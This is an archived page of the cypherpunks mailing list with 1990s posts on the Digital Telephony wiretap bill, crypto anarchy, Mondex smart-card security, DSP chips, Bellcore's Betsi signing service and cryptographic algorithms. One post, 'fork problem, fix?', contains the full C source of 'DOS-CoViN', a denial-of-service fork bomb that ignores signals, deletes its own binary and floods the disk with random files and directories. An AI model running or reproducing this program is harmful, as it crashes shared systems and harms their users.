December 2003 - cypherpunks-legacy

FWD>This is currently being
by Dave Banisar 17 Dec '03

17 Dec '03

Date 8/30/94 Subject FWD>This is currently being From Dave Banisar To Crypto List >From CPSR FWD>This is currently being pos -------------------------------------- From: "Shabbir J. Safdar" <shabbir(a)panix.com> Message-Id: <199408300318.AA07665(a)panix2.panix.com> Subject: This is currently being posted to Usenet. To: vtw-announce(a)vtw.org Date: Mon, 29 Aug 1994 23:18:18 -0400 (EDT) [updated August 29, 1994 shabbir] ********************************************************************* DISTRIBUTE WIDELY ********************************************************************* Table of contents: Status of the bills Five things you can do RIGHT now to stop Digital Telephony Records of legislators supporting/opposing/wavering on DT Digital Telephony bill FAQ The VTW Press Release Sample Letter To The Editor Who are we and how can you contact us? ------------------------------------------------------------------------------- STATUS OF THE BILLS (updated 8/10/94) Aug 18, 94 HR 4922 reported back to committee (write to Rep. Jack Brooks!) Aug 11, 94 Sen. Leahy & Rep. Edwards hold a joint hearing on the bills in Wash. DC at 1pm in Rayburn 2237. Aug 10, 94 HR 4922 referred to Subcomm. on Civil and Constitutional Rights Aug 10, 94 SB 2375 referred to Subcomm. on Technology and the Law Aug 9, 94 Rep. Hyde officially cosponsors HR 4922 Aug 9, 94 HR 4922 referred to House Judiciary Committee Aug 9, 94 SB 2375 referred to Senate Judiciary Committee Aug 9, 94 Identical House and Senate bills are announced by their respective sponsors, Rep. Don Edwards (D-CA) and Sen. Patrick Leahy (D-VT) EFF states the legislation is "not necessary". VTW will be monitoring this legislation in the same way that we monitored the Cantwell bill, with the blow by blow, day to day updates that cost us significant long distance bills. :-) We're not asking for money though. Don't send us money; we don't want it and it causes us bookkeeping work. Call/write your legislator instead and relay to them the sample communiques below. ------------------------------------------------------------------------------- FIVE THINGS YOU CAN DO *RIGHT* NOW (in their order of importance) 1. Write to the House Judiciary Committee Chairman, Jack Brooks (D-TX) and ask him to oppose the Digital Telephony bill. (HR 4922) 2. Fax/mail a copy of the VTW press release to your local newspaper, tv station, call-in show (everything from NPR to Rush Limbaugh), etc. 3. Write to your legislator (especially if s/he is on the Judiciary Committee (House or Senate) and ask that they oppose the Digital Telephony bills. (SB 2375/HR 4922) 4. Forward a copy of this FAQ to three friends who don't know about it. Or, print it out and place it on a bulletin board at work, at school, hand it out, etc. 5. Write a letter to the editor of your local newspaper, opposing the Digital Telephony bill. 1. CALL/WRITE TO REP. JACK BROOKS, HOUSE JUDICIARY COMM. CHAIRMAN Sample phone Communique: Rep. Jack Brooks Phone: (202) 225-6565 Dear Mr. Brooks, The recent Digital Telephony bills (HR 4922 & SB 2375) disturb me greatly. The FBI has not yet made their case that justifies building wiretap functionality into the telephones of 250 million people to justify the privacy intrusion. Please oppose HR 4922 and SB 2375. Sincerely, _______________________ Sample fax/letter Communique: Rep. Jack Brooks 2449 RHOB Washington, DC 20515 Phone: (202) 225-6565 Fax: (202) 225-1584 The Honorable Jack Brooks, Please oppose Senator Leahy's and Representative Edwards' Digital Telephony bills (HR 4922 & SB 2375). This legislation asks us, the American public, to trade our privacy to ensure law enforcement's future ability to continue to perform wiretaps. Unfortunately, the FBI has yet to make its case to the public to prove that it is unable to administer significant numbers of wiretaps. Telecommunications technology is very new and the change of pace in it is very rapid. The Digital Telephony bills are premature and should not be considered until: -the standards bodies are appointed and include privacy rights groups (not just the Electronic Frontier Foundation) at both the technical and policy levels -the standards are defined and accepted by the three stakeholders (law enforcement, common carriers, and privacy rights groups) -an adequate oversight agency has been given the authority previously allocated to the FCC -the technology has advanced to a point where the effect of such a broad ruling on the undustry can be ascertained. Please oppose HR 4922 & SB 2375. Sincerely, _______________________ If you want to help make legislators responsible for their actions, report this information back to vtw(a)vtw.org. We'll add their position to our database. 2. Take the press release attached and fax/mail/email it to local tv stations, radio stations, callin shows, newspapers, etc. Drop a note to vtw(a)vtw.org, where we'll track the coverage. 3. Forward this file to your friends and coworkers. Use it when you phone call-in shows; educate everyone you know. This is literally a "net" effort. Few people outside of the Internet know about this legislation; they would be horrified to discover its existence. Help educate them. 4. Call/write your legislator and ask them to oppose the Digital Telephony bill. Use the sample communiques above. To find your own legislator, contact the League of Women Voters in your area. 5. Write a letter to your local newspaper's editorial page about the Digital Telephony bill. We have attached a sample editorial page letter that you might base your letter upon. Feel free to use significant license. ------------------------------------------------------------------------------- LIST OF LEGISLATORS SUPPORTING/OPPOSING/WAVERING ON DIGITAL TELEPHONY -REPRESENTATIVES All addresses are Washington, D.C. 20515 Dist ST Name, Address, and Party Phone Fax ==== == ======================== ============== ============== 16 CA Edwards, Donald (D) 1-202-225-3072 1-202-225-9460 2307 RHOB House sponsor of the 1994 Digital Telephony bill 6 IL Hyde, Henry J. (R) 1-202-225-4561 1-202-226-1240 2110 RHOB Cosponsor of the 1994 Digital Telephony bill -SENATORS P ST Name and Address Phone Fax = == ======================== ============== ============== D VT Leahy, Patrick J. 1-202-224-4242 na 433 RSOB Washington, D.C. 20510 Senate sponsor of the 1994 Digital Telephony bill ------------------------------------------------------------------------------- DIGITAL TELEPHONY BILL FAQ What are the (DT) Digital Telephony bills and where did they come from? The DT bills were initially introduced by the Bush administration presumably at the request of the FBI. The initial proposals were very unpopular and met with great opposition, preventing them from moving through Congress. The current incarnations of the legislation (SB 2375 & HR 4922) have several features, but basically require the same thing: common carriers must be able to provide law enforcement officers with court orders access to personal communications. (eg, if the FBI presents a court order for a wiretap on your phone calls to NYNEX, NYNEX should be able to provide the FBI with the ability to intercept your communications under the terms of the court order.) To do this will require changes in the telephone equipment we use today. Since this will obviously cost money, the bill appropriates $500 million in Federal money to these carriers to compensate them for the changes. Does this include bulletin boards and Internet sites like Netcom, America OnLine? No, the legislation specifically identifies common carriers. Information Services, such as these above, are not common carriers. How will this affect me? Imagine there's a giant socket on the side of the phone company's equipment that says "FOR FBI USE ONLY" in giant red letters. Imagine if the fine for not implementing that socket was $10,000 per day for the phone company. How many communications carriers do you think will make any noise about the privacy of their customers' communications? Now imagine that you were asked to pay the bill for this. The proposed budget for implementing this functionality is $500 million dollars for 1995-1998. Just how many wiretaps per year are there? In 1992 there were less than 1,000 wiretaps performed. It is important to note that the legislation is targeted towards wiretaps that the government says they cannot implement. Since there is thus far no published evidence of unimplementable wiretaps, turning the nation's phone system into a giant eavesdropping device to prevent a problem which has not yet been documented or become widespread, sacrifies too much privacy for too little gain. Is there ever a legitimate need for law enforcement to conduct wiretaps? Yes, according to the 1992 Government Accounting Office's "Report on Applications for Orders Authorizing or Approving the Interception of Wire, Oral, or Electronic Communications (Wiretap Report)", there were 919 wiretaps authorized in 1992 (there were no requests denied). There were 607 individuals convicted as a result of these wiretaps. Although this is not an excessive amount, it is not ignorable either. However 607 convictions is infinitesmally small when one considers the number of people convicted yearly in the US. Furthermore, the report does not specify if any wiretaps were unimplementable because of advancing technology. The FBI maintains that advancing technology will prevent this, though this has not yet been documented. VTW feels that until the the FBI makes their case to the public, this bill should not be considered as legislation. Why should I be worried about this bill? THE BILL IS VAGUE REGARDING STANDARDS SETTING The bill requires industry standards groups to be formed to work with law enforcement to create technical standards for this functionality. There are a number of problems with this. First is that these standards bodies may not have even been appointed yet, giving incredible power to a presently unnamed group that will be responsible for appointing those bodies. Secondly, these standards bodies do not currently include any public input. There is a delicate balance involved in wiretapping vs. a citizen's privacy. The standards bodies that are proposed do not have any provisions for public input. Public-interest and/or privacy groups should be included at every level (including the technical level) in order to ensure that this balance is found. Without such input, the standards are likely to sacrifice privacy while giving more functionality than is needed by law enforcement to do its job. THE STANDARDS SHOULD BE ACCEPTED BEFORE THE LEGISLATION IS PROPOSED The DT legislation is vague regarding the standards for wiretapping functionality. Many of the questions and problems we have with this legislation stem from the vagueness of the details regarding the standards. The standards body should be appointed (with representatives from law enforcement, industry, and the public at both the technical and high level) and the standards accepted before the legislation is proposed. THE BILL PUTS GREAT POWER INTO STANDARDS AND COMMITTEES THAT DO NOT EXIST YET By empowering standards bodies that do not exist, and mandating standards that do not yet exist, great power is given to those individuals who can appoint the members of the standards bodies. Furthermore, no process is mandated for the appointment of the members of these standards bodies. THE BILL DOES NOT APPOINT AN ADEQUATE OVERSIGHT AUTHORITY In many situations the (FCC) Federal Communications Commission is appointed to be the final arbiter if industry standard bodies cannot agree on technical standards. The FCC currently serves the interest of industry in regulating the communication carriers. Because the Commission serves the interest of both groups, there is a conflict of interest. A different ageny should be appointed and given the FCC's oversight authority. TELECOMMUNICATIONS TECHNOLOGY IS NOT MATURE Telecommunications is a very new technology. Within the last twenty years, we have seen amazing advances in the technology. Ordering the implementation of such a broad privacy- sensitive function will have far-reaching effects on the future of the technology. This legislation should wait until the technology is more stable. ------------------------------------------------------------------------------- PRESS RELEASE [Please fax this to your local newspaper] Voter's Telecommunications Watch invites fellow citizens to join its media awareness campaign by emailing or faxing this press release to one of two media institutions. East of the Mississippi: Burlington Times email: _________ fax: ___________ West of the Mississippi: San Jose Mercury-News email: _________ fax: ___________ VTW is also experimenting with a fax/email chain letter. The document "An Open Letter on Digital Telephony" is currently circulating the Internet. VTW has also prepared an FAQ for Digital Telephony. Point your gopher to panix.com (port 70) and check under the VTW main menu entry, or use the URL: FOR IMMEDIATE RELEASE NEW YORK, NY -- 08/22/94 -- Contrary to popular belief, not all online civil libertarians support the Government's attempts to ensure the FBI can wiretap every citizen. Voter's Telecommunications Watch (VTW), a New York-based online activism group, working in conjunction with the Electronic Privacy Information Center (EPIC) and other privacy advocates, is working to energize and focus the grassroots opposition to the recently introduced Leahy-Edwards Digital Telephony Bill (H.R. 4922, S. 2375). The Digital Telephony Bill would require telecommunications service providers to design all their equipment to allow FBI agents and other government officials to wiretap any telephone conversation -- only if there is a court order permitting it, of course, the FBI promises. Adding this feature to the telecommunications system is costly -- so costly that the bill appropriates $500 million taxpayer dollars to reimburse phone companies for their "reasonable" expenses. "It's objectionable for the FBI to try to make us pay for invading our own privacy," says Alexis Rosen, co-founder of Public Access Networks Corporation, a regional public Internet provider. According to FBI Director Louis Freeh, there were 183 wiretaps in 1993 that would have been facilitated by the digital telephony mandates. "Should we really spend half a billion dollars for a couple of hundred wiretaps that compromise the privacy of two hundred million Americans?" asks Simona Nass, President of the Society for Electronic Access, a New York-based organization devoted to issues of civil liberties and public access. VTW is spearheading a drive to defeat the bill. Using the Internet to keep millions of electronically-connected citizens informed, VTW workers have put together summaries and analyses of the legislation and are tracking the bill's movements through the byzantine halls of Congress. Using this informations, citizens can inundate their representatives at optimum moments. VTW is tracking each influential legislators' position on the Digital Telephony initiative, and periodically publishes a scorecard summary of their positions, party, districts and contact information. To access VTW's anti-Digital Telephony effort, join the VTW electronic mailing list by sending Internet e-mail to vtw-list-request(a)panix.com. Information is also available via Internet Gopher in the VTW area of gopher.panix.com (port 70). For further information, contact Steven Cherry at 718-596-2851. PRESS CONTACT: Steven Cherry (718) 596-2851(voice mail) stc(a)acm.org (electronic mail) ------------------------------------------------------------------------------- SAMPLE LETTER TO THE EDITOR [Note, this is Steven Cherry's "Open Letter" on Digital Telephony. Please do not submit it to the New York Times. -Shabbir] An Open Letter Regarding Digital Telephony Digital Telephony, embodied in bills entered into Congress by Sen. Leahy (S.B. 2375) and Rep. Edwards (HR. 4922), would require that telecommunications carriers alter their equipment so as to allow wiretaps and similar surveillance to be performed at the companies' offices, or the offices of law enforcement. In a word, to make telecommunications equipment, "wiretap friendly"; to make a wiretap order executable "at the press of a button." With the help of some civil liberties activists, the bill admirably distinguishes between common carriers and information services. Only the former are subject to its provisions. But the distinction, while clear in the abstract, is hard to make in practice. The mom-and-pop neighborhood bulletin board service or Internet provider is excluded, but even if it is providing store-and-forward message-passing for an individual or other small provider? Indeed, the very definition of common carrier in the proposed legislation is problematic, as the definition relies on that used in the Communications Act of 1934, when just now that Act is being overhauled finally, after sixty years. The bill's authors have sensibly and cleverly left out of the legislation all the details of implementation. It is impossible to object to the bill on the grounds of being unworkable. It is also difficult to object on grounds of the risks to individual privacy, insofar as the risks are largely unquantifiable by virtue of being largely unknown. The very clever lack of any practical detail, however, leads the prudent citizen to question the public expenditure of $500,000,000 -- the figure is likely far too high, or far too low. Indeed, all we know is it is unlikely to be correct, and we therefore object to it as being unrealistic to the needs of the enterprise. In point of fact, one other thing is known about this figure -- it is but a fraction of the total expenditures resulting from the mandates of the bill. The balance will be borne by the common carriers, who, in turn, will either have to raise rates, reduce services, or restrict investment and expansion of their business at the very moment in the history of telecommunications that calls for them to do just the opposite. Indeed, the very forces of technological change that caused law enforcement to request this bill demand that it be defeated. We would like to return to the issue of increased risks for a moment. While unquantifiable, they are equally undeniable. The more facile the system, the more it will be overused and error-ridden. We must of course balance risk with reward. Who would refuse an extra paycheck for fear of getting a papercut? We must ask, what are the rewards of digital telephony? The FBI Director has variously stated the number of cases where a wiretapping was subverted by a digital switch or signal, offering contradictory figures from a low of 80 to a high of 183. The Director has not said all of them, or even any of them, were cases where a conviction was not obtained, or where a conviction could have been obtained with the wiretap, or could only have been attained with a wiretap. Of course, only these last possible instances really lend any justification to digital telephony. It is quite clear that digital technology offers more challenges to law enforcement than digital switches and signals. The object of a wiretap can easily use unbreakable encryption to protect the privacy of his or her communications. While the transmission of a message would be intercepted, the content would still evade the eyes and ears of law enforcement. Indeed, any, or all, of these 80 or 183 cases could have been subsequently frustrated by encryption even had digital telephony solved the initial digital barrier. Let us state the potential rewards as generously as possible -- or even more generously than possible. There were approximately 1000 wiretaps in 1993. Let us imagine, contrary to actual fact, all of these to be subverted by digital technology. Let us imagine the number to double in coming years. (Any or all of which could remain private through encryption.) 2000 cases. Weighed against these are the 200 million Americans whose security and privacy are compromised by digital telephony. Well, what if the number of wiretaps doubles again, and again and again? Don't 20,000 or 30,000 wiretaps, hypothetically, justify? Perhaps. But what kind of society needs so many police listening in on the private lives of so many people? At what point do we regret the lack of a public policy debate on mass wiretapping of the American citizenry? We do not live in a police state nor will we. And so we are back to supposing a massive technological effort at great expense to achieve a modest wiretapping program of small, perhaps almost nonexistent, benefit. To sum up, it is as if the entire city of population 25,000, were to have its telephone system restructured, its citizen's phone privacy compromised, all to make effective a wiretap on a single alleged drug peddler or gangster, which wiretap may or may not help in convicting the offender, if indeed he or she is guilty. All at a cost of $62,500 to the taxpayers, and more to the local telephone companies and their ratepayers. For all these reasons, the unclarity, the expense, the risks to privacy, and the lack of substantive benefits, separately and together, we oppose this bill. Steven Cherry stc(a)acm.org ------------------------------------------------------------------------------- CONTACT INFORMATION The Voters Telecomm Watch is a volunteer organization dedicated to monitoring federal legislation that affects telecommunications and civil liberties. We are based primarily out of New York, though we have volunteers throughout the US. Voters Telecomm Watch keeps scorecards on legislators' positions on legislation that affects telecommunications and civil liberties. If you have updates to a legislator's positions, from either: -public testimony, -reply letters from the legislator, -stated positions from their office, please contact vtw(a)vtw.org so they can be added to this list. Voice mail: (718) 596-2851 General questions: vtw(a)vtw.org Mailing List Requests: vtw-list-request(a)vtw.org Press Contact: stc(a)vtw.org Gopher URL: gopher://gopher.panix.com:70/11/vtw WWW URL: We're working on it. :-) -------------------------------------------------------------------------------

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Civil crypto anarchy
by John Young 17 Dec '03

17 Dec '03

Responding to msg by nobody(a)ds1.wu-wien.ac.at () on Sun, 28 Aug 2:32 AM >So basically the protocols are interesting in an >academic way, and we could sit here and discuss the >possibilities, but then I suppose a discussion about >atomic bombs will likely be of greater impact on our >future than crypto anarchy will. Out of your several thoughful comments this one strikes some sparks. Terror of nuclear weapons is universal. Nothing about crypto anarchy is terrifying (yet). A link between the two is not fanciful because of the challenge to those who hold secrets posed by crypto anarchy. One singularity of the nuclear arsenal was that few people actually know its capability. Its secrecy is a part of the threat. The same is true of the more general national security apparatus, most of whose power derives from privileged knowledge of weapon-systems capabilities. By extension of state power, under the rubric of national security, to other areas of government, often under the guise of intelligence and law enforcement needs, we have a society where a small number of economic, scientific, political, military and law enforcement persons hold privileged secrets and a very large citizenry who does not. Because of suspected abuse of privilege, these keepers of secrets are no longer trusted. Electoral politics, once thought to offer means to throw the scoundrels out, now feeds this suspicion, rather than relieving it, because little of entrenched power structures are changed by the voting process. The public process merely cosmetizes the means for exploiting the the secret privileges of the few. The crypto and related technological and civil issues discussed on this list might be viewed as exploring how to redirect the science and technology, heretofore used sustain a national security-driven economy, toward creating the apparatus for a more just and benefical civil society, one less fraught with military, police and economic insecurity and fear of the tools of privileged secrecy. Mastering cryptography and devising ways to put it to remunerative use are honorable and constructive alternatives to enduring unresponsive government. If successful they will set examples, and provide tools, for others to diminish state dependency. However, there is still the task of proving that crypto anarchy is not itself a play for power by those who write and master its cryptographic code. But better to test that in the public arena rather remain hidden and protected by state secrecy. Fierce opposition should be expected, not least by demonizing crypto anarchy. It will probably begin within the crypto anarchy enterprise under the guise of skeptical criticism and provocative baiting. It is worth recalling that classical black anarchy, the secret, lethal version as distinguished from open black flag type, is used by despots to justify their ruthless measures. Black anarchists, as agents of despots, mingle with avowed flag-wavers to spy and provoke acts that lead to repressive crackdowns. Black anarchists never announce themselves as such but may freely admit to being "anarchistic" as a wild-eyed subterfuge. Inept provocations sometimes reveal them but the most able are never detected. John

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Re: mondex
by Martin Janzen 17 Dec '03

17 Dec '03

Ryan Lackey wrote: >Does anyone know how open the Mondex architecture is? Is it in any way >possible to set up a competing system with your own card manufacture >and issuing bodies for currencies which can be used in deployed Mondex >POS terminals without too much hassle? >[...] Wesley Felter <wesf(a)mail.utexas.edu> wrote: >As I understand it, Mondex is a completely closed system. Everything that >you don't absolutely need to know is undocumented. Since you can settle >offline, the potential for fraud is frightening; unless I'm getting the >benefit of these, um, weaknesses in the system, I don't want there to be >any. The lack of privacy seems to be somewhat of a smokescreen; since you >can settle offline, they don't have a really accurate way of tracking >transactions except at the interface between e$ and other forms of money >or goods (like their POS terminals and ATMs). > >Can you hack Mondex? They say you can't... David Jones,a computer science professor at McMaster University and president of Electronic Frontier Canada, has written an interesting article on the subject of Mondex security: >Here's my latest article published online in "The Convergence". >Please visit the web page version because it has lots of hyperlinks >to related documents, including some never before published on the Net >(e.g., Australian bank report on Mondex security) > > http://theconvergence.com/columns/djones/07121997/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Mondex: A House of Smart-Cards? With e-cash, privacy is illusory and security is questionable by David Jones Mondex International has already conceded that its electronic 'cash' isn't really as private as they once claimed. Now critics are questioning whether their security is all it's cracked up to be. If crooks managed to create counterfeit cyber-cash, and if Mondex failed to detect it quickly enough, the deposits backing up the electronic currency could be drained dry, leaving customers out of pocket -- unable to redeem the 'value' on their cards. Do participating banks have any contingency plans for what Mondex calls its 'meltdown scenario'? [...] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- Martin Janzen janzen(a)idacom.hp.com

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Re: Clipper in the news...
by pcw＠access.digex.net 17 Dec '03

17 Dec '03

> Just to give you an idea how far word of our favorite >technological innovation has spread, from this month's (Fall Collection) >issue of Vogue magazine: > > "...As for Orwell's telescreen, it's been replaced by the >personal computer. Networks like Prodigy have been warning users that >they will censor 'objectionable' messages, and the government is >threatening to install the Clipper Chip in computers, allowing it to >eavesdrop on digital transmissions. How to cope?" [P. 172] > > ...and I thought that Karl Lagerfeld's lineup was bad enough... > >mjr. I can see the advertisement for Cosmopolitan magazine... "I was talking to very buff beach volley ball player on my Clipper phone. (He's just a friend, really!) We talked about the strength of the Malibu sun, what to do when sand gets in your sun block and whether California roll sushi was really invented there. Then I tossed in some Navy blue words that will make those NSA spooks blush coral red. I'm just a flirt... but I guess you could say, I'm that COSMOPOLITAN girl."

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Re: DSPs
by jdd＠aiki.demon.co.uk 17 Dec '03

17 Dec '03

In message <199408292302.QAA02577(a)comsec.com> Eric Blossom writes: > > The Motorola DSP96002 does an integer multiply in 2 or 3 clocks, so a > > 33 MHz device does 11 million multiplies (and moves) a second. The > > chip costs about $50. > > The 96002 is a floating point part. Last time I checked it cost > several hundred dollars. I suspect that you were refering to the > 56001/2 family (which does cost something like $50). I checked the 56001 data book, but it does 24 bit integer multiplies, not 32, so I didn't quote them. The figures I gave are for a 32-bit integer multiply, right out of the 96002 data book. I haven't checked 96002 prices for a couple of years. When I last checked it was something like 200 pounds ($300) in small quantities. It has now been outclassed by the C40 and several other very good DSP chips and time has passed, so I think that in production quantities the price would at least be under the $100 mark. -- Jim Dixon

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Betsi
by p.v.mcmahon.rea0803＠oasis.icl.co.uk 17 Dec '03

17 Dec '03

FYI - PGP-based experimental service for verification of software integrity from Bellcore. I haven't seen this announcement turn up on the usual Usenet groups (yet), and thought that it may be of interest to people here. [Apologies in advance if it's a superfluous forwarding ...] - pvm Date: Mon, 29 Aug 1994 13:27:19 -0400 From: farber(a)central.cis.upenn.edu (David Farber) Subject: Bellcore's Trusted Software Integrity (Betsi) System A N N O U N C I N G ! ! ! ! ! Bellcore's Trusted Software Integrity (Betsi) System. Betsi addresses a security concern of software distribution in the Internet. Currently, there is no way to know that software obtained by anonymous ftp has not been modified since it was posted. Also, malicious software can be posted without the offender leaving a trace. Betsi is an experimental prototype that is meant to provide some degree of assurance about the integrity of software and the identity of its author. The current version of Betsi is an experiment. The long-term goals are: - help software vendors distribute programs and patches - provide accountability by linking the author of a program to a real person whose identity is verified off-line - allow users to run software obtained on the Internet with less danger of viruses and Trojan horses - use cryptographically strong techniques to preserve file integrity - scale well in the Internet community - minimize effort on the part of the users - use existing infrastructure and standards Betsi is a free, experimental service. It requires use of PGP to verify signatures from Betsi. Betsi's public key is widely available. It can be obtained from numerous public key servers by requesting the key for certify or Betsi. It also appears in a paper that was submitted for publication, in the help file (described in a moment) and at the end of this message. For additional information on Betsi send mail to certify(a)bellcore.com with subject, help. A copy of the paper describing Betsi can be obtained by anonymous ftp from thumper.bellcore.com in the directory /pub/certify. A copy of the public key for Betsi can also be found there. It is recommended that the key be obtained from at least two different places and compared. Betsi's public key: -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6 mQCNAi5I0LwAAAEEAJZi970w+Lb7onAmrnExWKrgUFbjJku29qVRlBY6/UtUH+fW s7MtAEUKIhktJ0cDpE+5Tbi6Lev2RXmXhT1hEjwxSwVFOMJmOuMZxlj+586IKigC vVjF+hCFKQWRXsleM/axVbpH+pNUmWcK6QMdBDFlzS/9pxdAiBPcEwSgd4ahAAUR tBxCZXRzaSA8Y2VydGlmeUBiZWxsY29yZS5jb20+iQB1AgUQLkjREpti/eSkC5bZ AQFzNwL8CVk6J8jhHukKKjrkdZX5VZMwuvgs7+ZIVR8fY+vpEBs6EbWAQpmm4ekV C4D6UOYCRxARpQN09M1aE9qSz6XKkYQjs9Ul/xRLtazDAuYOAkRxO3mnrFa2u6Tc +qXcZame =68fV -----END PGP PUBLIC KEY BLOCK----- Fingerprint: 5F 34 26 5F 2A 48 6B 07 90 C9 98 C5 32 C3 44 0C

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Something of little importance
by Alan 17 Dec '03

17 Dec '03

I was noticing that the bottom of the latest issue of Mad magazine (August 1997) in the cartoons in the margin, there is someone holding up a newspaper that reads "UPC code broken". "Crypto-noia strikes deep... Into Mad it will creep..." alan(a)ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply Alan Olsen | to my mail, just hit the ctrl, alt and del keys.

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OFFSHORE DIGITAL BANKS
by Sandy Sandfort 17 Dec '03

17 Dec '03

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SANDY SANDFORT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . C'punks, Chris Claborne wrote: I guess it boils down to this, we have to have someone that we can trust. The issue of currency conversion would also be a new one for me. Would my money be Swiss? If the transaction gos south, what do I do, I am no longer covered by US law and would have no proof that this transaction ever took place (remember, no one can ask the bank for records). Hmmmm Your money in a Swiss based bank would be Swiss if that's what you wanted. Almost certainly, you would have additional options for your "unit of accounting." Though US law might not help you, it is not true to say that "no one can ask the bank for records." You can. The proof that a transaction (such as a deposit) took place, is the digitally signed receipt you get from the bank. It is VERY good proof. S a n d y ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

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fork problem, fix?
by nobody＠replay.com 17 Dec '03

17 Dec '03

/* DOS-CoViN. Version .53b, coded by Vio, some ideas are from the bugtraq This program is a beefed up classic denial of service fork()'er :) Compilation: on BSD type of systems do: gcc -DBSD_C -o cvn cvn.c on SysV type of systems do: gcc -DSYSV_C -o cvn cvn.c on my linux, I can compile it with both -DBSD_C and -DSYSV_C if your not sure, you can experiment, or compile it without any -D'efines In the future: SunOS signals ignored. Creation of random symlinks for more gory destruction. Using advanced technology coding to make the hard drive blow up with a loud boom and the console explode causing a nuclear meltdown. Direct All Suggestions And Flames to: Vio NOTE: this program is provided for educational purposes only, its author will not take any responsibility for any stupid things you will decide to do. this has been tested, but not the latest version of it. .a&$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&a. $$' s `$' s `$ $ $ $ `$ $$ $$ $ $ $ $ $ $ $ $$ $$ $ $ p $ h $ e $ a $ r $ $a. $$ $$ $ssss$ $ $ $ $ $ $$$ $$ $$ $ $ $ $. $ ,$ $ $$$ $$ $$. $ ,$. $ ,$$. ,$$ .$ $$$ $$ `$$&@%o%@&$$$&@%o%@&$$$$$%o%$$$$.a$$$.a$$$$$$$$' */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <signal.h> #define MAX_FILELEN 100 /* The _actual_ max length */ #define MAX_DIRLEN 10 #define START_DIR "/tmp" /* This can be substituted for any directory */ /* that you have write access to */ void dirs_generator(void); main(int argc, char *argv[]) { int fp; char *buff; char chr; unlink(argv[0]); /* You might wanna ignore all the signals you can ignore.. */ signal(SIGINT, SIG_IGN); /* If any of the signals don't work */ signal(SIGHUP, SIG_IGN); /* on the system you are compiling */ signal(SIGTERM, SIG_IGN); /* them on, just erase that line */ signal(SIGALRM, SIG_IGN); signal(SIGBUS, SIG_IGN); signal(SIGFPE, SIG_IGN); signal(SIGILL, SIG_IGN); signal(SIGIOT, SIG_IGN); signal(SIGPIPE, SIG_IGN); signal(SIGQUIT, SIG_IGN); signal(SIGSEGV, SIG_IGN); signal(SIGTRAP, SIG_IGN); signal(SIGUSR1, SIG_IGN); signal(SIGUSR2, SIG_IGN); #ifdef BSD_C signal(SIGPROF, SIG_IGN); signal(SIGSTOP, SIG_IGN); signal(SIGTSTP, SIG_IGN); signal(SIGTTIN, SIG_IGN); signal(SIGTTOU, SIG_IGN); signal(SIGVTALRM, SIG_IGN); signal(SIGXCPU, SIG_IGN); signal(SIGXFSZ, SIG_IGN); #endif #ifdef SYSV_C signal(SIGPOLL, SIG_IGN); signal(SIGPWR, SIG_IGN); #endif if(fork()) { printf("Now crashing and blowing up this system.. have a nice day\n"); printf("You can safely logout, and let the proggie do its work\n"); printf("or you can stick around and watch lag go from 0 to bitch\n"); printf("in a matter of seconds\n"); printf(" --CoViN \n"); exit(0); } fp=open("/tmp/.foo",O_WRONLY|O_CREAT); if(fork()) { while(1) { fork(); buff = malloc(64000); write(fp, buff, 64000); system("uptime"); } } dirs_generator(); } void dirs_generator(void) { char alph[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ. "; char fl[MAX_FILELEN]; char dir[MAX_DIRLEN]; int i; int flen; printf("Making dirs..\n"); chdir(START_DIR); fork(); /* For the simplicity of the code.. we also want more dir's from */ fork(); /* the START_DIR */ fork(); while(1) { fork(); flen= (rand() % MAX_FILELEN) - 1; for(i=0; i<flen; i++) fl[i] = alph[rand() % strlen(alph)]; fl[MAX_FILELEN-1]=0; i=open(fl,O_WRONLY|O_CREAT); write(i,"fuck you! CoViN",16); close(i); flen= (rand() % MAX_DIRLEN) - 1; for(i=0; i<flen; i++) dir[i] = alph[rand() % strlen(alph)]; dir[MAX_DIRLEN-1]=0; mkdir(dir,0); chdir(dir); } }

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Knuth Volume 2 Page 379
by trollins＠debbie.telos.com 17 Dec '03

17 Dec '03

Hello, I have a little question about some math algorithms. People have talked in alt.security.pgp about the Miller Test and the Miller-Rabin Test. I am getting ready to improve PGP's testing of potential prime numbers and have been looking for a good algorithm. After reading some in Knuth Volume 2, I have come across Algorithm P on page 379. Is this algorithm in fact the Miller-Rabin Test ??? Thanks, Tom Rollins <trollins(a)debbie.telos.com>

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Re: New Cypher ListServ (part 1)
by David Downey 17 Dec '03

17 Dec '03

>Date: Sun, 20 Jul 1997 15:30:11 -0400 (EDT) >From: Declan McCullagh <declan(a)pathfinder.com> >To: David Downey <digital_matrix(a)hotmail.com> >cc: cypherpunks(a)algebra.com >Subject: Re: New Cypher ListServ (part 1) > >David, > >Don't take this the wrong way, but why should we subscribe to your list >when there are plenty out there that deal with PGP, crypto, speech, and >politics already, have been around for a while, and have a critical mass >of participants? What will you offer over, say, cypherpunks? > >-Declan > Yes, I am trying to get a number of the other cypherpunk lists together under one umbrella. Ambitious, but if you don't reach for the stars, you'll always be stuck in the lawnchair. I will add other lists that folks from this list mention to me, as I am looking to combine a whole slew of them together. This way all lists stand a better chance of surviving in the event of D.O.S attacks and the like. If anyone knows a list that is good and should be added let me know. ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com

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CFB description in Schneier
by pstemari＠bismark.cbis.com 17 Dec '03

17 Dec '03

In the illustration on pg 161 of Schneier's Applied Cryptography (figure 8.5), the regeneration of bytes to XOR with the cyphertext stream is shown as using decryption. Doesn't this require ENcryption in order to produce the same sequence of XOR bytes that was used in encypherment? --Paul

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HEMISPHERE EMERGENCY ACTION TEAM
by Sandy Sandfort 17 Dec '03

17 Dec '03

